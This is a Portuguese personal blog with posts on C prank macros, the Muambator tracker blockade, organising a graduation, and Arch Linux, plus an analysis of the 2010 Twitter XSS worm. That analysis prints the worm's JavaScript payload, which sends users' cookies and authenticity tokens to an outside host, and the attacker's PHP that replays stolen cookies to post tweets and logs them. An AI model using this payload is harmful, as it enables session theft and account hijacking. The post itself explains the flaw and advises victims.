quinta-feira, 11 de agosto de 2011

Sabote uma aplicação C hoje

#define FALSE 1

#define FALSE exit()

#define while if
#define goto

#define struct union

#define assert(x)

#define volatile

#define continue break
#define double int
#define long short
#define unsigned signed
#define malloc(s) malloc(s-1)

Daqui: http://blog.regehr.org/archives/574

57 Things I’ve Learned Founding 3 Tech Companies

Um artigo interessante sobre empreendorismo:

http://www.bspcn.com/2011/08/08/57-things-ive-learned-founding-3-tech-companies/

domingo, 15 de maio de 2011

#correiosbloquearammuambator

Update (17/05/2011): Hoje o Felipe Kellerman (@felipek) e o Cícero Rolim (@ironworld) me surpreenderam com a ótima notícia: o Muambator voltará a ativa. E com uma API dos Correios!

Desde quando iniciei essa post, a idéia foi iniciar uma discussão sobre Open Data: afinal, quais dados na mão do governo/entidades privadas devem ser públicos, e qual o nível e maneira de acesso desses dados? Os Correios, atráves de um de seus colaboradores, disponibilizou uma API (da qual ainda não tenho detalhes, esperem meu post sobre Open Data :) ) para consulta de dados de rastreamento de pacotes. Eu já comentei nesse post as vantagens de tal API, mas o que me deixa realmente contente foi a postura dos Correios perante o caso. Ao invés de se manter no silêncio, pronunciou-se, nas palavras do @ironworld, num "feedback limpo e claro" (aliás, estou curioso para saber se nesse feedback foi citado o motivo do bloqueio). Tal fato mostra que é possível sim que os órgãos públicos e privados têm condições de disponibilizar seus dados através de serviços, e que basta um pouco de boa-vontade e muita ação da comunidade para que as coisas aconteçam.

Parabenizo aqui os Correios pela rapidez, boa-vontade e sobretudo, por ter dado fim a um capítulo e iniciado outro que, espero eu, abra os olhos de várias entidades para que fatos como o que aconteceu hoje se repitam várias vezes

**************************************************************************

Na semana passada, uma notícia que deixou enfurecidos muitas pessoas que costumam fazer compras pela internet: o Muambator for bloqueado pelos correios.

O que é o Muambator?

O Muambator é um serviço no qual, a partir do cadastro de um objeto rastreável, o site avisa sobre mudanças no status desse objeto. As formas de aviso variam: RSS feeds, emails, Direct Messages e via notificações push, usando o aplicativo Pacotes.

Por que foi bloqueado?

Esse é um campo onde só posso conjecturar. Alguns diriam que o Muambator causava uma sobrecarga no site, e que por isso o IP do servidor teria entrado em uma blacklist. Como não tenho números, não posso provar (ou refutar) essa teoria. Outros diriam que os Correios simplesmente resolveram sacanear com o Muambator/Pacotes por diversos motivos: inveja, interesse em criar um serviço próprio nesse modelo, entre outros.

Os riscos

O serviço possuiía 2 pontos de falha:

* Todas as requisições partiam de um único servidor, transformando-o em um ponto único de falha. Caso esse servidor falhasse (ou fosse bloqueado), o serviço inteiro pararia;
* As informações eram obtidas através de parsing, ou seja, um mecanismo varria a página dos correios procurando os dados do pacote a ser rastreado. A esse tipo de técnica dá se o nome de Web scraping. O problema é que o site no qual se faz scraping não possui o compromisso de manter os dados sempre no mesmo lugar, e o algoritmo de parsing pode falhar na menor mudança de layout.

O Muambator, quando criado, teve de assumir esses riscos. Quanto a requisições oriundas de um único ponto, algumas empresas se preocupam com ataques de bots, e colocam IPs em blacklists caso percebam requisições estranhas. Outras vão mais além e criam mecanismos como CAPTCHAS. Elas o fazem não somente para evitar sobrecarga, mas para resguardar seus dados, evitando ataques como força-bruta e afins. As requisições do Muambator, se olhadas a fundo, certamente não eram estranhas (não eram tentativas e erro, por exemplo, mas números de rastreamento definidos), mas muitas reequisições num espaço curto de tempo podem ter chamado a atenção de um sysadmin.

O valor agregado

Certamente o valor criado pelo Muambator é inegável. Ao invés de consultar pediodicamente o site dos correios, o serviço te avisa quando o pacote muda de status. É o tipo de serviço toda pessoas que costumam fazer encomendas online deseja, e o desenvolvedor viu uma oportunidade que a ECT não viu. Muitas pessoas perceberam esse valor agregado e defendem a causa do site.

Solução?

A solução consiste em 2 partes, resolvendo os 2 pontos já mencionados:

* Construção de aplicativos que acessem diretamente o site dos correios ao invés de usar o servidor do Muambator como broker (ou atualização do Já conhecido Pacotes). Infelizmente isso implica na perda de serviços como direct messages, email e RSS (boa parte do valor agregado do serviço)
* Criação de uma API de acesso a dados de rastreamento de pacotes por parte da ECT. Tal objetivo só pode ser obtido através da conscientização do órgão de que dados públicos deveriam ser acessíveis sem restrições, e que esses dados pudessem ser acessados por aplicações através de APIs definidas. A criação dessa API facilitaria tambem o controle por parte do dos correios (se o motivo do bloqueio foi, por exemplo, evitar ataque de bots, um serviço por outro lado pode ser bloqueado não quando uma requisição for oriunda de um único lugar, mas quando ela resultar em várias falhas seguidas), estreitaria os laços com a comunidade Open Data, e caso permitisse um servidor manter um serviço como um Muambator, a reverter a visão da comunidade.

Para os que ficaram curiosos sobre o termo "Open Data", criarei um post mais além sobre esse assunto. Até lá.

terça-feira, 7 de setembro de 2010

Um worm no Twitter

História

No dia 6 se setembro, a seguinte mensagem se espalhou no twitter:



Ao clicar no link, o usuário era redirecionado para a página do criador do worm (@Joseph_Felix, agora desativado), além de postar uma cópia da mensagem acima.

A mensagem se espalhou numa explosão combinatorial para praticamente todo o twitter.

Não demoraram muito a descobrirem como a falha funcionava e a imitaram:



@octanefx foi muito menos bozinho que @Joseph_Felix e com os cookies que roubou, transformou um pedaço do twitter em sua marionete:



Segundo ele mesmo, "Mesmo depois de solucionado o problema no site do twitter, ainda posso manipular as contas por algum tempo."

Enquanto isso, @Joseph_Felix revelava suas verdadeiras intenções:



A falha

O Twitter tinha um problema de XSS (http://www.xssed.com/news/116/Twitter_developer_platform_search_field_vulnerable_to_XSS_/) que permitia injetar um código javascript e assim obter o cookie do subdomínio dev.twitter.com. Esse cookie pode ser usado em qualquer página do domínio twitter.com. No caso, foi usado para postar uma mensagem na timeline. O exploit criado injetava o segunte código:


window.onload=function(){
location.href='//dgoh-codes.com/joseph/twitter/?cookie='.concat(escape(document.cookie),'&token=',document.body.innerHTML.match(/value\', \'([^\']+)/i)[1]);
}


Esse código envia 2 informações à página "dgoh-codes.com/joseph/twitter":

  • Os cookies do usuário (document.cookie)
  • O authencity_token do usuário. Esse token serve para evitar ataques CSRF


O Código que @Joseph_Felix usou em dgoh-codes.com/joseph/twitter foi:

<?php
$inf = $_GET["cookie"];
$token = $_GET["token"];
$status = "Pe Lanza da banda Restart sofre acidente tragico | http://bit.ly/d5Pho8";
if (!empty($inf) && !empty($token))
{
$c = curl_init("http://twitter.com/status/update");
curl_setopt_array($c, Array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIE => $inf,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => "authenticity_token={$token}&status=".rawurlencode($status)."&twttr=true&return_rendered_status=true&lat=&lon=&place_id=&display_coordinates=false"
));
$posta = curl_exec($c);
print $posta;
$fp = fopen("arquivo_cookie.txt", "a");
fwrite($fp, "Cookie: " . $inf . "\r\nAuthenticity_token: {$token}\r\n\r\n");
fclose($fp);
header("Location: http://twitter.com/Joseph_Felix");
}
?>


Este código também está em http://pastebin.com/pFUtvM42

O exploit criado funciona da seguinte maneira:
  • Usuário do twitter entre no link malicioso
  • Usuário é redirecionado para dev.twitter.com
  • Através da falha de XSS, o código injeta um javascript que envia o conteúdo de document.cookie e do authenticity_token para "dgoh-codes.com/joseph/twitter" (ou worm_pe_lanza)
  • A página worm_pe_lanza cria uma requisição para http://twitter.com/status/update com as seguintes informações:

    • Cookie: a informação recebida por "$_GET["cookie"];"

    • Tipo de requisição : POST

    • valores enviados
    • authenticity_token= valor em "$_GET["token"]"
      status="Pe Lanza da banda Restart sofre acidente tragico | http://bit.ly/d5Pho8"
      twttr=true
      return_rendered_status=true
      display_coordinates=false


  • A página worm_pe_lanza salva o cookie E o token do usuário num arquivo arquivo_cookie.txt.

  • Usuário é redirecionado para http://twitter.com/Joseph_Felix


Solução?

O exploit usa do cookie e do authenticity token para criar o worm. Porém, basta que o exploit tenha o cookie que ele pode obter o token, bastando pra isso fazer um get a dev.twitter.com (como observado pelo @viniciuskmax).

A única solução é renovar o cookie, para que o cookie roubado fique inútil. @RodLac disse que trocar uma senha basta para invalidar um cookie, mas logout/login não. @altieres sugere, além de trocar a senha, limpar o cache (pois alguns antivirus colocaram o exploit na sua base de dados, e podem detectá-lo se ele ainda residir em algum cache do navegador.

Em suma: se você foi atingido, troque sua senha.

sexta-feira, 3 de setembro de 2010

Organizando uma formatura

Quando pensei em entrar para a comissão de formatura, não conhecia a real dimensão da coisa. À época, algumas amigas minhas iriam se formar comigo. Já havia combinado: iríamos organizar toda a nossa formatura e tudo iria correr bem.

Mas não é bem assim.

Formandos


Todo formando coloca no início do semestre: 'provável formando nesse semestre'. Pode-se conseguir facilmente a lista desses alunos pedindo para o coordenador da graduação. Essa lisat é útil para saber quem são os formandos e verificar com eles quem irá se formar no salão de atos ou não. Para reunir estas pessoas, foi criada uma lista de discussões.

Definindo a comissão


A Comgrad (e outros) irão saber que você é da comissão de formatura quando você marcar no portal do aluno que, além de provável formando, você é da comissão (sim, essa opção existe, e estará lá na hora devida)

A escolha do dia


Tudo começou nesse dia. A secretaria avisa a comissão de que eles devem levar seus representantes ao sorteio das datas. Neste dia, a pró-reitoria de graduação sorteia as datas disponíveis para a formatura. Esse processo dá-se da segunte maneira: os cursos são sorteados, e o primeiro a ser sorteado tem prioridade na escolha da data. Nesse dia, algumas produtoras entregam seus contatos aos membros das comissões de formatura.

A escolha da data é importante, porque muitas vezes o dia ou horário não é muito bom para algumas pessoas. As mulheres em geral gostaram do horário da noite, pois tinham mais tempo para se preparar para a cerimônia.

Documentos


A comissão de formatura sai desse primeiro encontro com vários documentos a serem lidos e entregues. Um deles é o termo de compromisso, onde todos os formandos se dizem cientes dos termos do cerimonial. Como todos os alunos tinham que assinar este documento, foi deixado na secretaria, para facilitar.

Escolha dos homenageados


Toda formatura tem:

* Um técnico administrativo homenageado
* Um ou mais professores homenageados
* Um paraninfo

A escolha dessas pessoas foi feita por votação. Nossa turma possui uma lista, onde todas as decisões (quando possível) eram votadas. Os nomes foram sugeridos e votados.

Escolha da produtora



Nós pedimos orçamentos a várias produtoras e nos deparamos com o seguinte: as produtoras possuem praticamente a mesma média de preços. Normalmente esse preço é por formando e inversamente proporcional ao número de formandos. Ou seja, quanto mais formandos, mais barato sai por formando.

Para decidir qual das produtoras escolher foi simples: descobrimos qual delas iria fazer a formatura antes da nossa e usamos esta. Assim, poderíamos pedir um desconto, além de diminuir o tempo de setup entre as 2 formaturas. Para conseguir o contato da comissão do outro curso, é só ligar pro salão de atos e pedir.

Para baratear o custo, algumas coisas foram retiradas do contrato inicial:

* Algumas produtoras colocam até 5 filmagens. Na nossa, usamos apenas uma (a da própria formatura). Se os formandos fizerem alguma festa conjunta , uma dessas filmagens pode servir para isso. Em alguns casos, também se usa uma das filmagens para a invasão do paraninfo;
* A cesta de presente para os homenageados foi feita pelos formandos, logo esse ítem foi retirado da lista.

Primeiro encontro entre produtora e formandos


Acertado o contrato, marcamos um encontro entre produtora e formandos. Acertamos a forma de pagamento e informamos aos outros formandos o termo do contrato. Usamos a sala do diretorio acadêmico, mas você falar com a secretária do seu curso (ou qualqeur outra pessoa responsável pelas salas) e conseguir a chave de uma delas para esta reunião.

Invasão do paraninfo



É como chamam o momento em que o paraninfo é avisado de que foi escolhido. Usualmente, invade-se a sala de aula no momento em que ele esa dando aula para dar o aviso.

Escolha das músicas e ordenamento da entrada



Escolhida a produtora, tínhamos que escolher as músicas para a entrada de cada um, assim como a ordem de entrada. Essa tarefa eu deleguei para uma pessoa da comissão que fez o seguinte:

* Criou uma planilha com o nome e música de cada um
* Pediu para que cada um mandasse seu próprio MP3
* Pediu para dizem quem gostaria de chamar (ou ser chamado por qm)

Foi criada uma lista final com a ordem de chamada e as músicas. Após ser aprovada, essas músicas foram gravadas em um CD e enviadas à produtora junto com um documento que a mesma pediu.

Homenagem aos pais


Há um vídeo na formatura que é passado quase no final chamado "Homenagem aos pais". Neste, são passados vários slides com fotos de cada um dos formandos, quando crianças e quando mais velhos, com os pais. Essas fotos foram pedidas pela comissão e repassadas para a produtora, para o devido vídeo.

Escolha da gráfica



Algumas gráficas mandaram orçamentos. Esses orçamentos são mandados para a comissão, já que esta marcou a opção "Comissão" no portal. Algumas gráficas também entram em contato a partir de contatos trocados no sorteio. Decidimos pela mais barata

Sessão de fotos



Um dos ítems do contrato entre os formandos e a produtora é a sessão de fotos. Para isso, reserva-se uma das salas do anexo da reitoria ( o prédio amarelo onde era o SAE, antigo prédio da química). Feita a reserva, a produtora é avisada e leva todo o material necessário para as fotos. Nesse dia é feita também a prova de togas. As fotos são feitas individualmente na sala e coletivamente nas escadas e na pira (o símbolo da UFRGS). Nesse mesmo dia, optamos por gravas os vídeos individuais, uma vez que os discursos individuais foram abolidos. Houve tamé um coquetel - incluso no contrato.

É interessante usar este dia para coisas que não poderiam ser feitas se não presencialmente, como a assinatura do termo de compromisso entre produtora e todos os formandos.

Marcamos com um representante da gráfica também para nos encontrar neste dia. Vimos os modelos, escolhemos um e assinamos o contrato. Produtoras e gráficas normalmente se conhecem, então quando uma termina o trabalho, basta avisar dos detalhes para outra.

Convites



Quando as fotos da sessão de fotos ficam prontas, é hora de agilizar o convite. A gráfica envia primeiro um layout sem as fotos. Neste layout, depois de aprovado, são inseridas as fotos. É enviada para a gráfica uma tabela contendo o nome do formando, nome do pai e da mãe ( e se um deles é falecido, colocando 'in memoriam'), o número de convites desejado por aquele formando e o nome da foto desejada por ele (já que são tiradas várias fotos individuais, entre combinações - com barrete e sem, sorrindo ou não). O ideal é que as fotos sejam uniformes, ou seja, todos de barrete ou sem, todos sorrindo ou não. São escolhidas também as fotos coletivas do convite. A gráfica então manda um layout final do convite. Normalmente são enviados conjuntos de JPGs. Eu transformei todas estas figuras em um único PDF (usando pdftk) para depois poder mandar um convite via email.

A gráfica escolhida por nós não possuía uma modalidade de pagamento por formando. Ao invés disso, um dos membros da comissão teve de receber o pagamento de todos os formandos e repassar à gráfica.

Formatura


Enfim, o momento final: a formatura.

Você deve chegar lá 2h mais cedo. Haverá um estúdio pronto para tirar fotos 1h antes da formatura.

Lições aprendidas



* Não seja da comissão sozinho. Arranje mais algumas pessoas que você conheça pela competência e compromentimento. Saiba delegar as tarefas para as pessoas certas;
* Nem sempre as decisões podem ser votadas. Quando necessário, decida entre os membros da comissão e depois comunique para os formandos, justificando suas escolhas, se necessário;
* Controle todas os prazos de documentos. No início, são vários documentos que a comissão deve entregar para diversos órgãos. Para os prazos para os formandos, dê um prazo pelo menos uma semana antes do real, para impedir eventuais atrasos;
* Prepare-se para pessoas querendo entrar no meio da formatura, ou sair dela. Para pessoas que não respeitam os prazos, que mandam coisas na última hora. E acima de tudo, prepare-se para ser cobrado por todos os lados.

No fim, uma formatura nada mais é do que um projeto, e a comissão, seus gerentes. Como tais, devem gerenciar tempo, escopo e recursos. Os formandos são os stakeholders, e desejam que a formatura esteja dentro de suas expectativas. Preste atenção a todas as reclamações e dúvidas, e responda a todas se possível. Tente se ver do lado de cada um deles. Dê feedback da situação sempre que possível, para mostrar que a comissão está em ação. O tempo são os prazos para entrega de documentos, ou de recursos para a produtora ou gráfica.

domingo, 22 de agosto de 2010

Novas Postagens?

Sim, estou devendo algumas postagens nesse blog. Os tópicos planejados são:

* HTML 5
* UPnP
* IPv6
* Acabar a minh série sobre Arch Linux

Não escrevi durante esse tempo porque estive ocupado com TCC1/2 e a organização da minha formatura. Mas conforme as coisas vão se resolvendo, eu vou revendo minha lista de prioridades.

Além do mais, estou a fim de escrever sobre toda a minha experiência à frente da comissão de formatura desse semestre.

Pra essa nova fase, mudei o design pra algo mais simples. O layout antigo não mostrava textos muito bem.

Fiquem ligados!

segunda-feira, 21 de dezembro de 2009

Instalando Arch Linux - Introdução

Sim sim! Estou tirando as teias do blog e escrevendo um post novo! O tema escolhido foi "Instalando Arch Linux". Esse tema surgiu durante uma conversa com @fotanus, @marcio_os e e @fmobus, durante a última edição do "Cevas & Blogs". Discutindo sobre as vantagens (e desvantagens) de várias distribuições Linux, contei ao @fotanus sobre minha última (e não muito frutífera) tentativa de instalação do Arch Linux. Depois de algum tempo de ambos mostrando seus pontos (eu não conseguia passar muito além de mostrar um console), resolvi tentar novamente, mas dessa vez documentando todos os passos.

O objetivo é:
1) Instalar Arck Linux usando APENAS a Wiki (http://wiki.archlinux.org/index.php/Main_Page) ou o fórum(http://bbs.archlinux.org/). Usarei outros sites só em último caso, e explicarei minhas razões para fazê-lo.
2) Ter um sistema completamente funcional (com rede, som e desktop)

O sistema será instalado do zero dentro de uma máquina virtual (Virtual PC 2007). Faço isso porque não quero correr nenhum risco de ler errado uma instrução não poder bootar mais minha máquina. Caso haja uma tentativa bem sucedida de instalação na máquina virtual, avaliarei se farei o mesmo numa máquina real.

No próximo post: o que é o Arch Linux, criação da máquina virtual, baixando o Arch Linux, e a primeira parte da instalação.